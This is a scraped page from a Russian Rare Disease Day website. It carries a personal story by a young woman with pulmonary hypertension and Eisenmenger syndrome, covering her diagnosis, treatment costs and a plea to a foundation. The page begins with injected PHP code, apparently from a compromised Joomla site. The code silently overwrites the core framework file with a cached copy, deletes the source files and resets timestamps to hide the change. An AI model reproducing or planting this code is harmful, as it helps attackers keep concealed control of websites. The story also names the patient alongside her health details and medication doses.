$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Анна
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории Анна
Анна

 

Меня зовут Анна. Мне 28 лет.Самое время строить планы, растить детей, любить, достигать всего. Но, к сожалению, с каждым годом мои планы и цели становятся все недоступней для меня. Раньше думала, что все у меня будет, все только зависит от меня, от моего желания что-либо делать. И ведь все у меня получалось до того момента, пока не ухудшилось мое состояние. У меня очень хорошая семья. Мама, папа, братик, бабушка…Братик родился недоношенным, слабеньким, маме приходилось лежать по больницам, да и мне было всего 11 месяцев. Маме очень сложно было в тот момент. Но она все выдержала, все вроде бы наладилось. Но после очередного обследования моего братика врачи вдруг заявляют, что срочно надо его госпитализировать, он умирает..Опять анализы, обследования, бессонные ночи, слезы…После обследования выясняется, что все у него в порядке, врачи просто перепутали первоначальные анализы. После этого моя мама просто перестала верить врачам. Примерно в это же время ставят мне диагноз Врожденный порок сердца, Дефект межпредсердной перегородки. Опять больницы, врачи, анализы только уже со мной. Даже не знаю, как мама все выдержала. В итоге маме сказали – «Ну вообще-то можно сделать операцию, а можно и не делать. Вы хотите?» Естественно после всего пережитого, мама отказалась. В детстве я была активным ребенком, ходила в музыкальную школу, в бассейн, в хор, в школе занималась физкультурой. Даже и предположить не могла, что в старшем возрасте моя физическая активность может снизиться. В 11 классе по дороге в школу заметила, что мне тяжело дышать. Подумала,что я быстро иду или мороз мешает дышать. Заметила,но не придала этому большого значения. Даже маме не рассказала. К концу учебного года стало тяжело подниматься по лестнице даже на второй этаж. Но впереди были экзамены, поступление в институт…не до одышки было. В 2001 году поступила в Ивановский Химико-технологический институт. Правда, только на заочное отделение (хотя теперь думаю, что на дневном мне трудно было бы учиться). Чтобы не сидеть от сессии к сессии дома, я поступила еще в училище на специальность «Стилист-парикмахер». После окончания училище пошла устраиваться на работу. С салоны красоты меня без опыта не брали и чтобы иметь социальный пакет, папа посоветовал идти туда, где его предоставляют. Но надо было пройти медосмотр. И вот кардиолог мне сказал, что надо сначала сделать операцию по удалению порока, а потом уже думать о работе. И началось. В 2005 году получила направление в Ивановскую Областную больницу, где сделали каранарографию и мне поставили диагноз Легочная гипертензия(давление в Легочной Артерии было 98мм.рт.ст), синдром Эйзенменгера. Направили в НЦССХ им. Бакулева для решения вопроса об операции. На консультации мне отказали в операции, выписали Силденафил и отправили домой. Каждый год стала наблюдаться как в Ивановской областной больнице, так и в Центре им. Бакулева. В 2009 году давление снизилось до 57 мм.рт.ст). Все это время мое состояние оставалось стабильным. Немного была одышка при нагрузках, ногти и губы синели. Но всеравно хотелось быть активным человеком, хотелось жить как обычные здоровые люди. Я никак не признавала, что со мной что-то очень серьезное. В институте училась со всеми, даже подниматься на 7 этаж приходилось без лифта. Ребята из группы шли вперед и предупреждали преподавателя, что я задерживаюсь, так как потихоньку поднимаюсь. Все друзья и родные стали привыкать, что я не могу ходить быстро. В голове постоянно выбираем маршрут без подъемов в гору. Закончив институт, я мечтала поступить в Художественное училище на дизайнера. И ни что не могло меня остановить.В 2007 году я осуществила свою мечту. Учиться было очень интересно. После технического ВУЗа учеба в художке для меня была совсем другим миром. Мы постоянно что-то придумывали, были всякие мероприятия, где я принимала активное участие. Но через 2 года увеличилась нагрузка, стало больше предметов, иногда приходилось стоять у мольберта весь день. А долго стоять мне стало тяжело, запах красок к концу дня провоцировал головокружение. На 3-ем курсе я решила бросить учебу, так тяжело мне стало. Но директор пошел мне на встречу. За мою активность на первых курсах он разрешила мне рисовать дома, а работы приносить в училище и сдавать преподавателям. Так я проучилась до последнего 4-го курса. Я защитила диплом по теме «Серия социальных плакатов по проблеме инвалидов в социальном обществе». Эта тема задевала меня за живое. Я пыталась последний раз доказать и себе, и окружающим, что инвалиды такие же люди, имеющие такие же права, как и здоровые люди. То, что ты - инвалид, не должно означать, что ты вычеркнут из общественной жизни. В 2011 году я получила свой последний диплом. 2 марта 2012 года я поехала на консультацию в НЦССХ им. Бакулева. Мне сделали УЗИ, сказали, что правый желудочек очень больших размеров, не получает нормальное количество крови, фракция выброса 20%, да еще и давит на левый желудочек, который в свою очередь очень маленький. Посоветовали оставить кисты в покое, лучше ничего не трогать, сердце может не выдержать каких-либо вмешательств в организм. Прописали ТРАКЛИР (62.5мг 2 раза в день первый месяц потом по 125мг 2 раза в день),увеличили дозу капотена и силденафила(25мг 3 раза в день). Сейчас я живу с родителями. Братик мой женился, нашел хорошую работу, у него родился малыш,он добился почти всех целей, которые мы вместе ставили в детстве.У него получилось. А у меня, к сожалению, нет. Сейчас мысли только о том, что сижу на шее у родителей (и это в 28 лет то, когда уже давно пора жить отдельно и зарабатывать собственные деньги,иметь свою семью). Да родителям еще приходится оплачивать мое лечение. Силденафил все это время мы покупаем своими силами, а это примерно 14000рублей в месяц. Мама обращалась в Ивановское Здравоохранение с просьбой выделять нам силденафил, но нам пришел отказ. Сейчас на улицу я выхожу редко. Если куда-то надо, то папа возит меня на машине. Долго пешком я ходить уже не могу. Мучает одышка. По утрам, перед сном и когда сильная одышка в течение дня начинается сильный кашель. Иногда тяжело ходить даже по квартире. Иногда бывают головокружения. Работать я конечно не могу. Даже до остановки тяжело пройти. Быстро устаю. А так хочется быть такой же, как все. Для меня мои племяшки все равно, что мои детишки. Так как я никогда не буду мамой, то они для меня самое родное. Только очень обидно, что мне тяжело их даже поднять. Мне тоже хочется иметь семью, реализовывать себя и в творчестве и в работе. Очень надеюсь, что с приемом Траклира мне станет легче. Пугает только то, что препарат настолько дорогой, что наша семья просто не потянет таких расходов. Чтобы вовремя покупать силденафил мама работает с 9 утра до 9 вечера 6 дней в неделю. Папиной зарплаты хватает на коммунальные услуги и бензин. Очень надеемся на ваш фонд, потому что самое главное это надежда…и вера, а я верю, что все мы обязательно сможем справиться. Ведь, когда Господь дает нам трудности, он знает, что мы сможем их преодолеть, а значит и мы должны это знать… Заранее спасибо, Анна Емельянова.

 

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru